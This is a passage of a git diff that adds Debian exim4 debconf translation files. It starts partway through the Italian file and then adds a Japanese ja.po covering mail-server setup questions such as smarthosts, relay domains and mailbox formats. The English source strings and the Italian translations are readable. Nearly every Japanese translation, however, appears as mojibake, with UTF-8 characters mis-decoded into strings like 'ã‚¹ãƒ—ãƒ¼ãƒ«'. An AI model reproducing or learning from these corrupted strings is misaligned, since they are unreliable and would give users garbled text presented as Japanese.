(Dial-on-Demand)?" +msgstr "Mantenere al minimo il numero di richieste DNS (dial-on-demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Nella modalità predefinita, Exim esegue delle richieste DNS all'avvio, " +"quando riceve e consegna un messaggio e in altre occasioni, allo scopo di " +"mantenere dei log accurati e di ridurre al minimo il numero di valori fissi " +"scritti nel file di configurazione." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Nel caso di un host senza accesso permanente a un server DNS, come nel caso " +"di dial-on-demand abilitato, ci potrebbero essere delle conseguenze non " +"volute. Per esempio, all'avvio di Exim o durante il controllo della coda " +"(anche senza messaggi in attesa) si potrebbe attivare la connessione ad " +"Internet." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Questa opzione va abilitata sui sistemi che usano dial-on-demand, va invece " +"disabilitata in tutti quelli che hanno una connessione permanente ad " +"Internet." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Configurazione del server di posta" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Dividere la configurazione in molti piccoli file?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"I pacchetti Debian di exim4 possono generare la configurazione finale a " +"partire da un file di configurazione monolitico (/etc/exim4/exim4.conf." +"template), oppure da 50 piccoli file in /etc/exim4/conf.d." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"La prima alternativa è migliore in caso di grosse modifiche ed è " +"generalmente più stabile, l'altra è più comoda per fare piccole modifiche ma " +"è più fragile e potrebbe dare problemi se si apportano modifiche incaute." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Una descrizione più dettagliata sulla configurazione divisa o meno in file è " +"disponibile nel README specifico per Debian in /usr/share/doc/exim4-base/" +"README.Debian.gz." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Omettere il mail name locale dai messaggi in uscita?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"L'intestazione dei messaggi in uscita può essere cambiata in modo da far " +"sembrare che il messaggio arrivi da un altro sistema. Se viene scelta questa " +"opzione, «${mailname}», «localhost» e «${dc_other_hostnames}» nei campi " +"From, Reply-To, Sender e Return-Path saranno riscritti." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "Formato mbox in /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Formato Maildir nelle directory utente" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Modalità di consegna per la posta locale:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim ha la possibilità di memorizzate i messaggi consegnati in diversi " +"formati. I più diffusi sono mbox e Maildir. Il primo utilizza un singolo " +"file per ogni casella in /var/mail/, mentre il secondo usa per ogni " +"messaggio un file memorizzato in ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Notare che molti strumenti in Debian si aspettano che la consegna locale " +"venga fatta utilizzando il formato mbox." diff --git a/debian/po/ja.po b/debian/po/ja.po new file mode 100644 index 0000000..4ed797c --- /dev/null +++ b/debian/po/ja.po @@ -0,0 +1,627 @@ +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4 4.67\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-14 16:52+0900\n" +"Last-Translator: Kenshi Muto <kmuto@debian.org>\n" +"Language-Team: Japanese <debian-japanese@lists.debian.org>\n" +"Language: ja\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "スプールディレクトリã«ã‚る未é…é€ã®ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã‚’削除ã—ã¾ã™ã‹?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"exim スプールディレクトリ /var/spool/exim4/input ã«ã¾ã é…é€ã•ã‚Œã¦ã„ãªã„メール" +"メッセージãŒã‚ã‚Šã¾ã™ã€‚Exim を削除ã™ã‚‹ã¨ã€Exim ãŒå†ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã•ã‚Œã‚‹ã¾ã§ã“ã‚Œ" +"らã¯æœªé…é€ã®ã¾ã¾ã¨ãªã‚Šã¾ã™ã€‚" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"ã“ã®é¸æŠžè‚¢ã«ã€Œã¯ã„ã€ã¨ç”ãˆãªã„å ´åˆã€å¾Œæ—¥ Exim ã‚’å†ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã—ãŸã‚ã¨ã€" +"ã‚ューã«ã‚るメッセージを許å¯ã™ã‚‹ã‚ˆã†ã€ã‚¹ãƒ—ールディレクトリã¯ä¿æŒã•ã‚Œã¾ã™ã€‚" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "ã“ã®ãƒ‘ッケージã®ä»£ã‚ã‚Šã« exim4-config ã‚’å†è¨å®šã—ã¦ãã ã•ã„" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 ã¯ã€è‡ªèº«ã®è¨å®šã‚’専用パッケージ exim4-config ã«å§”ãã¦ã„ã¾ã™ã€‚Exim4 ã‚’å†" +"è¨å®šã—ãŸã„å ´åˆã«ã¯ã€'dpkg-reconfigure exim4-config' を利用ã—ã¦ãã ã•ã„。" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "インターãƒãƒƒãƒˆã‚µã‚¤ãƒˆ; メール㯠SMTP を使ã£ã¦ç›´æŽ¥é€å—ä¿¡ã•ã‚Œã‚‹" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "スマートホストã§ãƒ¡ãƒ¼ãƒ«é€ä¿¡; SMTP ã¾ãŸã¯ fetchmail ã§å—ä¿¡ã™ã‚‹" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "スマートホストã§ãƒ¡ãƒ¼ãƒ«é€ä¿¡; ãƒãƒ¼ã‚«ãƒ«ãƒ¡ãƒ¼ãƒ«ãªã—" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "ãƒãƒ¼ã‚«ãƒ«é…ä¿¡ã®ã¿; ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯ãªã—" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "今ã¯è¨å®šã—ãªã„" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "メールè¨å®šã®ä¸€èˆ¬çš„ãªã‚¿ã‚¤ãƒ—:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "å¿…è¦ã¨ã™ã‚‹ã‚‚ã®ã«æœ€é©ã¨æ€ã‚れるメールサーãƒè¨å®šå½¢å¼ã‚’é¸æŠžã—ã¦ãã ã•ã„。" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"ダイヤルアップシステムãªã©ã®å‹•çš„ IP アドレスã®ã‚·ã‚¹ãƒ†ãƒ ã§ã¯ã€ä¸€èˆ¬ã«é€å‡ºã™ã‚‹" +"メールをé…ä¿¡ã®ãŸã‚ã«åˆ¥ã®ãƒžã‚·ãƒ³ (「スマートホストã€ã¨å‘¼ã°ã‚Œã‚‹) ã«é€ã‚‹ã‚ˆã†è¨å®š" +"ã™ã¹ãã§ã—ょã†ã€‚インターãƒãƒƒãƒˆä¸Šã®å—信システムã®å¤šãã¯ã€è¿·æƒ‘メール対ç–ã¨ã—ã¦" +"å‹•çš„ IP アドレスã‹ã‚‰ã‚„ã£ã¦ãるメールをブãƒãƒƒã‚¯ã—ã¦ã„ã‚‹ã‹ã‚‰ã§ã™ã€‚" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"å‹•çš„ IP アドレスã®ã‚·ã‚¹ãƒ†ãƒ ã¯ã€è‡ªèº«ã®ãƒ¡ãƒ¼ãƒ«ã‚’å—ã‘å–るよã†ã«ã™ã‚‹ã‹ã€ãƒãƒ¼ã‚«ãƒ«é…" +"é€ã‚’ (root 㨠postmaster ã¸ã®ãƒ¡ãƒ¼ãƒ«ã‚’除ã) ã™ã¹ã¦ç„¡åŠ¹ã«ã™ã‚‹ã‹ã§ãã¾ã™ã€‚" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "本当ã«ãƒ¡ãƒ¼ãƒ«ã‚·ã‚¹ãƒ†ãƒ を未è¨å®šã®ã¾ã¾ã«ã—ã¾ã™ã‹?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"メールシステムãŒè¨å®šã•ã‚Œã‚‹ã¾ã§ã€ãƒ¡ãƒ¼ãƒ«ã‚·ã‚¹ãƒ†ãƒ ã¯å£Šã‚ŒãŸçŠ¶æ…‹ã§åˆ©ç”¨ã§ããªã„ã‚‚ã®" +"ã¨ãªã‚Šã¾ã™ã€‚ã‚ã¨ã§æ‰‹å‹•ã§ã€ã¾ãŸã¯ root ã¨ã—㦠'dpkg-reconfigure exim4-config' " +"を実行ã™ã‚‹ã“ã¨ã§è¨å®šã§ãã¾ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "システムメールå:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"「メールåã€ã¯ã€ãƒ‰ãƒ¡ã‚¤ãƒ³åãŒãªã„ã¨ãã«ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã‚’「修飾ã€ã™ã‚‹ãŸã‚ã«ä½¿ã‚" +"れるドメインåã§ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"ã“ã®åå‰ã¯ã»ã‹ã®ãƒ—ãƒã‚°ãƒ©ãƒ ã«ã‚ˆã£ã¦ã‚‚使ã‚ã‚Œã¾ã™ã€‚ã“ã‚Œã¯ã€å˜ä¸€ã®å®Œå…¨ä¿®é£¾ãƒ‰ãƒ¡ã‚¤" +"ンå (FQDN) ã«ã™ã¹ãã§ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"ãŸã¨ãˆã°ã€ãƒãƒ¼ã‚«ãƒ«ãƒ›ã‚¹ãƒˆã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ãŒ foo@example.org ã®å ´åˆã€ã“ã“ã§å…¥åŠ›" +"ã™ã‚‹æ£ã—ã„値㯠example.org ã¨ãªã‚‹ã§ã—ょã†ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"書ãæ›ãˆã‚’有効ã«ã™ã‚‹ã¨ã€ã“ã®åå‰ã¯é€å‡ºã™ã‚‹ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã® From: è¡Œã«å‡ºç¾ã—ã¾ã›" +"ん。" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "メールをå—ã‘å–ã‚‹ãã®ä»–ã®å®›å…ˆ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"ã“ã®ãƒžã‚·ãƒ³è‡ªèº«ãŒæœ€çµ‚çš„ãªå®›å…ˆã¨è¦‹ãªã•ã‚Œã‚‹ã¹ãドメインã®ãƒªã‚¹ãƒˆã‚’セミコãƒãƒ³ã§åŒº" +"切ã£ã¦æŒ‡å®šã—ã¦ãã ã•ã„。ã“れらã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã¯ä¸€èˆ¬ã«ã€Œãƒãƒ¼ã‚«ãƒ«ãƒ‰ãƒ¡ã‚¤ãƒ³ã€ã¨å‘¼ã°ã‚Œ" +"ã¾ã™ã€‚ãƒãƒ¼ã‚«ãƒ«ãƒ›ã‚¹ãƒˆå (${fqdn}) ãŠã‚ˆã³ 'localhost' ã¯å¸¸ã«ã“ã®ãƒªã‚¹ãƒˆã«è¿½åŠ ã•" +"ã‚Œã¾ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"デフォルトã§ã¯ã€ã™ã¹ã¦ã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã¯åŒä¸€ã®ã‚‚ã®ã¨ã—ã¦æ‰±ã‚ã‚Œã¾ã™ã€‚a.example 㨠b." +"example ã®ä¸¡æ–¹ãŒãƒãƒ¼ã‚«ãƒ«ãƒ‰ãƒ¡ã‚¤ãƒ³ã§ã‚ã‚‹å ´åˆã€acc@a.example 㨠acc@b.example ã¯" +"åŒã˜æœ€çµ‚宛先ã«é…é€ã•ã‚Œã¾ã™ã€‚ç•°ãªã‚‹ãƒ‰ãƒ¡ã‚¤ãƒ³åを別々ã®ã‚‚ã®ã¨ã—ã¦æ‰±ã„ãŸã„ã¨ãã«" +"ã¯ã€è¨å®šãƒ•ã‚¡ã‚¤ãƒ«ã‚’ã‚ã¨ã§ç·¨é›†ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "メールをリレーã™ã‚‹ãƒ‰ãƒ¡ã‚¤ãƒ³:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"ãŸã¨ãˆã°ãƒ•ã‚©ãƒ¼ãƒ«ãƒãƒƒã‚¯ MX ã¾ãŸã¯ãƒ¡ãƒ¼ãƒ«ã‚²ãƒ¼ãƒˆã‚¦ã‚§ã‚¤ã¨ã—ã¦ã“ã®ã‚·ã‚¹ãƒ†ãƒ ãŒãƒ¡ãƒ¼ãƒ«" +"をリレーã™ã‚‹ã€å—信ドメインã®ãƒªã‚¹ãƒˆã‚’セミコãƒãƒ³ã§åŒºåˆ‡ã£ã¦æŒ‡å®šã—ã¦ãã ã•ã„。ã¤" +"ã¾ã‚Šã€ã“ã®ã‚·ã‚¹ãƒ†ãƒ ãŒã“れらã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã‹ã‚‰ã®ãƒ¡ãƒ¼ãƒ«ã‚’インターãƒãƒƒãƒˆä¸Šã®ã©ã“ã‹ã‚‰" +"ã‚‚å—ã‘付ã‘ã€ãƒãƒ¼ã‚«ãƒ«é…é€ãƒ«ãƒ¼ãƒ«ã«å¾“ã£ã¦é…é€ã™ã‚‹ã“ã¨ã‚’æ„味ã—ã¾ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" +"ã“ã“ã§ã¯ãƒãƒ¼ã‚«ãƒ«ãƒ‰ãƒ¡ã‚¤ãƒ³ã«ã¤ã„ã¦ã¯è¨˜è¿°ã—ãªã„ã§ãã ã•ã„。ワイルドカードも利用" +"ã§ãã¾ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "メールをリレーã™ã‚‹ãƒžã‚·ãƒ³:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"ã“ã®ã‚·ã‚¹ãƒ†ãƒ ãŒã‚¹ãƒžãƒ¼ãƒˆãƒ›ã‚¹ãƒˆã®å½¹å‰²ã¨ã—ã¦ãƒ¡ãƒ¼ãƒ«ã‚’ç„¡æ¡ä»¶ã«ãƒªãƒ¬ãƒ¼å¯èƒ½ãª IP アド" +"レス範囲ã®ãƒªã‚¹ãƒˆã‚’ã€ã‚»ãƒŸã‚³ãƒãƒ³ã§åŒºåˆ‡ã£ã¦æŒ‡å®šã—ã¦ãã ã•ã„。" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"標準的ãªã‚¢ãƒ‰ãƒ¬ã‚¹/é•·ã•ã®ãƒ•ã‚©ãƒ¼ãƒžãƒƒãƒˆã‚’利用ã™ã¹ãã§ã™ (ãŸã¨ãˆã° " +"194.222.242.0/24 ã‚„ 5f03:1200:836f::/48)。" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"ã“ã®ã‚·ã‚¹ãƒ†ãƒ ã‚’ã»ã‹ã®ãƒ›ã‚¹ãƒˆå‘ã‘ã®ã‚¹ãƒžãƒ¼ãƒˆãƒ›ã‚¹ãƒˆã«ã—よã†ã¨ã™ã‚‹ã‚ã‘ã§ã¯ãªã„ãª" +"らã€ã“ã®ãƒªã‚¹ãƒˆã‚’空ã®ã¾ã¾ã«ã—ã¦ãŠã„ã¦ãã ã•ã„。" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "表示ã™ã‚‹ãƒãƒ¼ã‚«ãƒ«ãƒ¦ãƒ¼ã‚¶ã®ãƒ‰ãƒ¡ã‚¤ãƒ³å:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"é€å‡ºãƒ¡ãƒ¼ãƒ«å†…ã®ãƒãƒ¼ã‚«ãƒ«ãƒ¡ãƒ¼ãƒ«åã‚’éš ã™ã‚ªãƒ—ションãŒæœ‰åŠ¹ã§ã™ã€‚ãã®ãŸã‚ã€ã“ã®ã‚·ã‚¹" +"テムãŒãƒãƒ¼ã‚«ãƒ«ãƒ¦ãƒ¼ã‚¶ã®é€ä¿¡è€…アドレスã®ãƒ‰ãƒ¡ã‚¤ãƒ³éƒ¨åˆ†ã«ä½¿ã†ã€ãƒ‰ãƒ¡ã‚¤ãƒ³åを指定ã™" +"ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "é€å‡ºã‚¹ãƒžãƒ¼ãƒˆãƒ›ã‚¹ãƒˆã® IP アドレスã¾ãŸã¯ãƒ›ã‚¹ãƒˆå:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"ã“ã®ã‚·ã‚¹ãƒ†ãƒ ãŒé€å‡ºã‚¹ãƒžãƒ¼ãƒˆãƒ›ã‚¹ãƒˆã¨ã—ã¦ä½¿ã†ãƒ¡ãƒ¼ãƒ«ã‚µãƒ¼ãƒã® IP アドレスã¾ãŸã¯ãƒ›" +"ストåを指定ã—ã¦ãã ã•ã„。スマートホスト㌠TCP/25 ã¨ã¯ç•°ãªã‚‹ãƒãƒ¼ãƒˆã‹ã‚‰ã®ã¿ã®" +"メールをå—ã‘付ã‘ã‚‹ã®ã§ã‚ã‚Œã°ã€2 ã¤ã®ã‚³ãƒãƒ³ã¨ãƒãƒ¼ãƒˆç•ªå·ã‚’è¿½åŠ ã—ã¦ãã ã•ã„ (ã‚" +"ã¨ãˆã° smarthost.example::587 ã‚ã‚‹ã„㯠192.168.254.254::2525)。IPv6 アドレス" +"ã§ã®ã‚³ãƒãƒ³ã¯ã•ã‚‰ã«äºŒé‡ã«ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"スマートホストãŒèªè¨¼ã‚’å¿…è¦ã¨ã™ã‚‹å ´åˆã€SMTP èªè¨¼ã®ã‚»ãƒƒãƒˆã‚¢ãƒƒãƒ—ã«ã¤ã„ã¦æ›¸ã‹ã‚Œ" +"㟠Debian 固有㮠README ファイルをå‚ç…§ã—ã¦ãã ã•ã„。" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "root 㨠postmaster ã®ãƒ¡ãƒ¼ãƒ«å—信者:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"「postmasterã€ã€Œrootã€ãŠã‚ˆã³ãã®ä»–ã®ã‚·ã‚¹ãƒ†ãƒ アカウントã¸ã®ã¸ã®ãƒ¡ãƒ¼ãƒ«ã¯ã€å®Ÿéš›" +"ã®ã‚·ã‚¹ãƒ†ãƒ 管ç†è€…ã®ãƒ¦ãƒ¼ã‚¶ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã«è»¢é€ã•ã‚Œã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"ã“ã®å€¤ã‚’空ã®ã¾ã¾ã«ã™ã‚‹ã¨ã€ãã®ã‚ˆã†ãªãƒ¡ãƒ¼ãƒ«ã¯ /var/mail/mail ã«ä¿å˜ã•ã‚Œã¾ã™" +"ãŒã€ã“ã‚Œã¯ãŠå‹§ã‚ã§ãã¾ã›ã‚“。" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"postmaster ã®ãƒ¡ãƒ¼ãƒ«ã¯åˆ¥ã®ã¨ã“ã‚ã«è»¢é€ã™ã‚‹ã‚ˆã‚Šã‚‚直接ãã®ã‚·ã‚¹ãƒ†ãƒ ã§èªã¾ã‚Œã‚‹ã¹ã" +"ã‚‚ã®ã§ã‚ã‚‹ã“ã¨ã«æ³¨æ„ã—ã¦ãã ã•ã„。ã“ã®ãŸã‚ã€ã“ã“ã§æŒ‡å®šã™ã‚‹ãƒ¦ãƒ¼ã‚¶ (ã®å°‘ãªãã¨" +"ã‚‚ãã®ã†ã¡ 1 人) ã¯ã€ã“ã®ãƒžã‚·ãƒ³ã®å¤–ã«ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆã™ã‚‹ã‚ˆã†ãªã‚‚ã®ã§ã¯ãªã„よã†ã«" +"ã™ã¹ãã§ã™ã€‚強制的ã«ãƒãƒ¼ã‚«ãƒ«ã«é…é€ã™ã‚‹ã«ã¯ã€'real-' プレフィクスを使ã„ã¾ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "複数ã®ãƒ¦ãƒ¼ã‚¶åã¯ã‚¹ãƒšãƒ¼ã‚¹ã§åŒºåˆ‡ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "å…¥åŠ›å´ SMTP 接続をリスンã™ã‚‹ IP アドレス:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"IP アドレスã®ãƒªã‚¹ãƒˆã‚’セミコãƒãƒ³ã§åŒºåˆ‡ã£ã¦æŒ‡å®šã—ã¦ãã 